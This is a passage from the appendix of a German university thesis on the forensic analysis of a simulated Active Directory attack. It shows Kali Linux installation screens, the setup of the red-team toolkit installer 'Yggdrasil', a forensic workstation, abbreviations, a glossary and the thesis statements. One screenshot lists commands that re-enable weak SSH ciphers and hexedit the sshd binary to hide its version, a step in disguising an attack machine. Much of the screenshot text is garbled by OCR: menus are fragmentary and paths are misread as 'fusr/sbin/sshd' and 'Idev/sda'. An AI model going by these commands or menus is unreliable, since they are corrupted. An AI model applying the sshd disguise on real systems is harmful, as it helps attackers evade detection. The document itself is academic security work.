Please enter the same user password again to verify you have typed it correctly.
Re-enter password to verify:

| eovcoccne |

[ sShow Password in Clear

-

Screenshot J

Go Back Continue

Abbildung 221: Installation von Kali Linux 13/23

KALI

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you prefer,
you can do it manually. With guided partitioning you will still have a chance later to review and customise the
results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning methed:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

Cod

Screenshot ]

Go Back Continue

Abbildung 222: Installation von Kali Linux 14/23
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KALI

Partition disks

Note that all data on the disk you select will be erased, but not before you have confirmed that you really
want to make the changes.
Select disk to partition:

SCSI33 (0,0,0) (sda) - 107.4 GB VMware, VMware Virtual S

Go Back ]I Continue I

Abbildung 223: Installation von Kali Linux 15/23

KALI

Partition disks

Selected for partitioning:
SCSI33 (0,0,0) (sda) - VMware, VMware Virtual S: 107.4 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first one.
Partitioning scheme:

All files in one partition (recommended for new users)
Separate /home partition

Separate /home, /var, and /tmp partitions

-

Go Back Continue

Abbildung 224: Installation von Kali Linux 16/23
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KALI

Partition disks

This is an overview of your currently configured partitions and mount points. Select a partition to modify its settings (file
system, mount point, etc.), a free space to create partitions, or a device to initialize its partition table,

Guided partitioning

Configure software RAID

Configure the Logical Volume Manager
Configure encrypted volumes

Configure iSCSI volumes
=~ SCSI33 (0,0,0) (sda) - 107.4 GB VMware, VMware Virtual S
> #1 primary 106.3 GB f ext4 I

> #5 logical 1.0 GB f swap swap

Undo changes to partitions

Finish partitioning and write changes to disk

Screenshot ] [ Help Go Back Continue

Abbildung 225: Installation von Kali Linux 17/23

KALI

Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
SCSI33 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCS133 (0,0,0) (sda) as ext4
partition #5 of SCS133 (0,0,0) (sda) as swap

Write the changes to disks?
) No
®

Abbildung 226: Installation von Kali Linux 18/23
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KALI

Install the base system

_ Installing the base system

Extracting libp11-kit0...

Abbildung 227: Installation von Kali Linux 19/23

KALI

Partition disks

This is an overview of your currently configured partitions and mount points. Select a partition to modify its settings (file
system, mount peint, etc.), a free space to create partitions, or a device to initialize its partition table,

Guided partitioning

Configure software RAID

Configure the Logical Volume Manager
Configure encrypted volumes

Configure iSCSI volumes

<~ SCSI33 (0,0,0) (sda) - 107.4 GB VMware, VMware Virtual S
> #1 primary 106.3 GB f ext4 !
> #5 logical 1.0 GB f swap swap

Undo changes to partitions

Finish partitioning and write changes to disk

Screenshot ] [ Help Go Back Continue

Abbildung 228: Installation von Kali Linux 20/23
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KALI

Install the GRUB boot loader

It seems that this new installation is the only operating system on this computer. If so, it should be safe to
install the GRUB boot loader to your primary drive (UEFI partition/boot record).

Warning: If your computer has another operating system that the installer failed to detect, this will make that
operating system temporarily unbootable, though GRUB can be manually configured later to boot it.
Install the GRUB boot loader to your primary drive?

) No
@ [ves|

3 )
Screenshot ]

Go Back Continue

4

Abbildung 229: Installation von Kali Linux 21/23

KALI

Install the GRUB boot loader

You need to make the newly installed system bootable, by installing the GRUB boot loader on a bootable
device. The usual way to do this is to install GRUB to your primary drive (UEFI partition/boot record). You may
instead install GRUB to a different drive (or partition), or to removable media.

Device for boot loader installation:

Enter device manually

Idev/sda

Screenshot ]

Go Back Continue

Abbildung 230: Installation von Kali Linux 22/23




Anlagenverzeichnis und Anlagen

| KALI I

Installation complete
Installation is complete, so it is time to boot into your new system. Make sure to remove the
installation media, so that you boot into the new system rather than restarting the installation.

Finish the installation

Please choose <Continue> to reboot.

Go Back Continue

| Screenshot |

Abbildung 231: Installation von Kali Linux 23/23

Das Tool Yggdrasil wird nun Gber GitHub in einem Terminal heruntergeladen und
ausgefuhrt (siehe Abbildung 232). Durch Yggdrasil wird Kali Linux um weitere
Tools erweitert, welche beispielsweise fur das Active Directory nutzlich sind.
Hierzu dient die Vorgehensweise, welche in den Bildern (Abbildung 233 -

Abbildung 240) zu entnehmen ist.
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/home/jarl-bjoern

/opt

sed 10497

:@9 CEST

/opt
yggdrasil

fopt/yggdrasil
yggdrasil.py -al tP /opt al /he l-bjoer rkspace red-team-kali

Abbildung 232: Download und Ausfuihrung von Yggdrasil

File Actions Edit View Help

iLlation toolkits
i\Llation of custom tools
1 forensic tools
pentest tools

1llation of hardening tools

S

S

S

=+
(51}

e

=+
(o1}

ror 1L
pentest

[
o
+ +

~+
1]

iLlation training tool
i red teaming tool
development tool

=
o

(50 S0 S o O B S B ¥ I ¥
~+
[T TR« 1]

~+

1
1
1
1
1
1
1
1

Your Choice: 7]

Abbildung 233: Anwendung von Yggdrasil 1/8
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b

File Actions Edit View Help

-

gdrasil
S10n

complete
for acti
.F
.F

1
tools ;
tools for osint
s for phishing
s for physical

tool
tool

Your Choice:

Abbildung 234: Anwendung von Yggdrasil 2/8

File Actions Edit View Help

L

| : comple

1 : automate
(

1 ali: : custom configs (alias

4] screenrc 2 custom screenrc config

custom vim config
kali repository change
workspace file shredding script
( default )
custom tmux config

Your Choice: E,E,#,E,BI

Abbildung 235: Anwendung von Yggdrasil 3/8
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L}

File Actions Edit View Help

"

‘ggdrasil
sion

custom screenrc config
custom screenrc config

Your Choice:

File Actions Edit View

cronjob configuration
systemd timer configuration

Your Choice: 2}

Abbildung 237: Anwendung von Yggdrasil 5/8
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"

File Actions Edit View

Scanning candida
anning linux

Running 'n
No services n
No contair

5 running ou

o session

running outda

Download

Download mitmpr
is al

Download

Downl

Download

Download starkil
is al

Download KubeH
loning into
mot Enume
mot

Compressing

Abbildung 238: Anwendung von Yggdrasil 6/8
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File Actions Edit View Help
earch offli

creds search tomcat

i1 Wl
sudo systemctl restart docker

18
source ~/.zshrc

( ] Jefault
sudo update-alternatives --config x-uwww

"""""""" mE

sudo nano fetc/ssh/ssh_config

HostKeyAlgorithms ssh-ed25519,ssh-rsa
Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-chc,3des-cbc
MACs hmac-md5, hmac-shal,umac-64aopenssh.com

strings fusr/sbin/sshd | grep Debian ¢ check the version and os name

sudo cp Sfusr/sbin/sshd /tmp/sshd.backup

sudo cp /tmp/sshd.backup /tmp/

hexedit /tmp/sshd ; Search for the strings with
the version number and
replace it with blanks

sudo rm -f fusr/sbin/sshd

sudo mv /tmp/sshd fusr/sbin/sshd

H
"
H
H
H
B
H
B

The following paths was generated by the tool

Toolpath: Jopt/red_team_tools

Hashcat-Rules: fopt/fhashcat_rules
Wordlists: fopt/wordlists
The installation was successful!
fopt/yggdrasil
Wed May 29 21:58:@5 CEST 2024

fopt/yggdrasil
6l

Abbildung 239: Anwendung von Yggdrasil 7/8
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k.

File Actions Edit View Help

Jhome/jarl-bjoern

2024

/home/jarl-bjoern
t/red_team_tools
5 Group Date Modified Name

root

Abbildung 240: Anwendung von Yggdrasil 8/8

14.3 Installation der Forensischen Arbeitsstation

Die Installation und Konfiguration ist identisch mit dem Kapitel 6.4, aul3er, dass
bei Yggdrasil, innerhalb des Auswahlmenis, die Unterpunkte forensic,
infrastructure und full ausgewahlt werden (siehe Abbildung 241 - Abbildung
243).
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itegory

all toolkits
custom tools
forensic tools
pentest tools
hardening  tools

5

5

5

+ +

For 1C
pentest

¥
[ TRT]

[ 4

1
1
1
1
1
1
1
1

(s

training tool
red teaming tool
development tool

=
¥
]

=
e

LS T T T O O

=

installation of all toolkits
tools for cloud analysis
crypto tools for crypto analysis
infrastructure E s for infrastructure analysis
s for mobile forensics

Your Choice: &4}

Abbildung 242: Anwendung von Yggdrasil 2/3
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full i 5 ition (GUI)
minimal : minimal in on (CLI)

Your Choice: 1

Abbildung 243: Anwendung von Yggdrasil 3/3
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15 Verzeichnis der Abkirzungen

AD

CSS

DNS

DHCP

HTTP

HTTPS

HTTPD

KDC

LTS

NTLM

ou

TTY

TGT

URL

212

Active Directory

Cascading Style Sheets

Domain Name System

Dynamic Host Configuration Protocol
Hypertext Transfer Protocol
Hypertext Transfer Protocol Secure
Apache HTTP Server

Key Distrubtion Center

Long-term Support

New Technology Lan Manager
Organisationseinheit
Teletypewriter

Ticket Granting Ticket

Uniform Resource Locator
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16 Glossar

Tabelle 9: Glossar
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Begriff

Beschreibung

Capture The Flag

Capture The Flag ist ein verstecktes
Ziel, welches gesetzt wurde und von
einem Angreifer in der Cyber Security
zum Teil auch in internationalen
Wettbewerben gefunden werden

muss.

Gateway

Ein Gateway ist in der
Netzwerktechnik eine Komponente,
welche fur die Verbindung zwischen
zwei Systemen oder auch Netzen

dient.

HTTP-Proxy

Die Einstellung wird oftmals in
Webbrowsern verwendet, um den
gesamten Traffic Uber einen Proxy
Server zu leiten, um z. B. den Zugriff
auf gesperrte Webseiten aufgrund
von Unternehmensrichtlinien zu

verhindern.

Long-term Support

Long-term Support wird oftmals in
Zusammenhang mit Open Source
Betriebssystemen z. B. Ubuntu
betrachtet und bedeutet, eine langere
Unterstltzung von

Sicherheitsupdates.
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Network Address Translation

Network Address Translation
ermoglicht es mittels einer
Manipulation des IP-Headers zur
gleichzeitigen Verwendung einer

privaten und 6ffentlichen IP-Adresse.

Red Team Engagements

Ein Red Team Engagement ist eine
Dienstleistung von
Sicherheitsunternehmen, welches
gezielt die Sicherheitssysteme und
Hartungen eines Systemes nach

einem Penetrationstests Uberpruft.

Penetrationstest

Ein Penetrationstest ist eine
Simulation eines Angriffes auf ein
vorher festgelegtes Netz oder einen
Adressbereich, in dem die Systeme
aktiv auf Schwachstellen tberprift

werden.

Persistence

Unter einer Persistence versteht man,
dass sich ein Angreifer in einem

System, mittels einer Backdoor einen
Zugang hinterlegt hat (z. B. ein neuer

Benutzer).

Pivoting

Pivoting ist eine Technik in der Cyber
Security, in der ein Angreifer, Zugang
zu einem weiteren Netzbereich erhalt,
in dem ein System als Gateway

verwendet wird.

Request

Ein HTTP-Request ist eine Anfrage,
die an einen Webserver gestellt wird.
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17 Thesen

Die Ausarbeitung fokussierte sich auf das Thema Forensische Auswertung
eines simulierten Angriffs auf eine Active Directory Umgebung und wurde

von Yvonne Frank, Rainer Herold und Pascal Schrieber bearbeitet.

Ein Active Directory ist nach einer Installation, wenn es nur zum Teil konfiguriert
wurde, nicht automatisch sicher, da weiterhin unbekannte Schwachstellen in der
Zukunft aufgedeckt werden und vielfach nicht direkt gepatcht werden kdnnen,
sondern besondere Einstellungen bendtigen, welche in Form von zusatzlichen

Hartungsmal3nahmen Uber beispielsweise die Registry umgesetzt werden.

Angriffe zu planen und durchzufiihren sind grundsétzlich nicht einfach, da sie in
der Informationsbeschaffungsphase viel Zeit beanspruchen und die darin

gewonnen Informationen nicht zwangslaufig zu einem Erfolg fihren missen.

Eine forensische Auswertung muss in Anbetracht der Zeit und dem Budget nicht
immer zu einer erfolgreichen Aufklarung erfolgen, da es in vielen Fallen nicht
eindeutig ist, wie ein Angreifer in das Netz des Unternehmens zutritt erhalten hat.

Hierbei kann auch ein physischer Zugang ein maglicher Vektor sein.

Der Einsatz von vollautomatisierten Skripten kdnnen fir einen Aufbau von
mehreren virtuellen Instanzen von Vorteil sein, aber auch Fehlkonfigurationen

beinhalten, welche beispielsweise vor einem Jahr noch géngig waren.

Angreifer, sowie auch Penetrationstester kénnen auch Fehler wéahrend einer
Attacke machen, darin kénnen beispielsweise Systeme mit einem Denial of

Service zerstort werden und erheblichen Schaden verursachen.

Hackingplattformen (z. B. HackTheBox) beinhalten vorkonfigurierte Instanzen
(Boxen), diese kdbnnen zum Ausprobieren von Schwachstellen genutzt werden,
jedoch zeigen diese vielfach nicht den Ursprung des Problems auf, der zur

Beseitigung benotigt wird.
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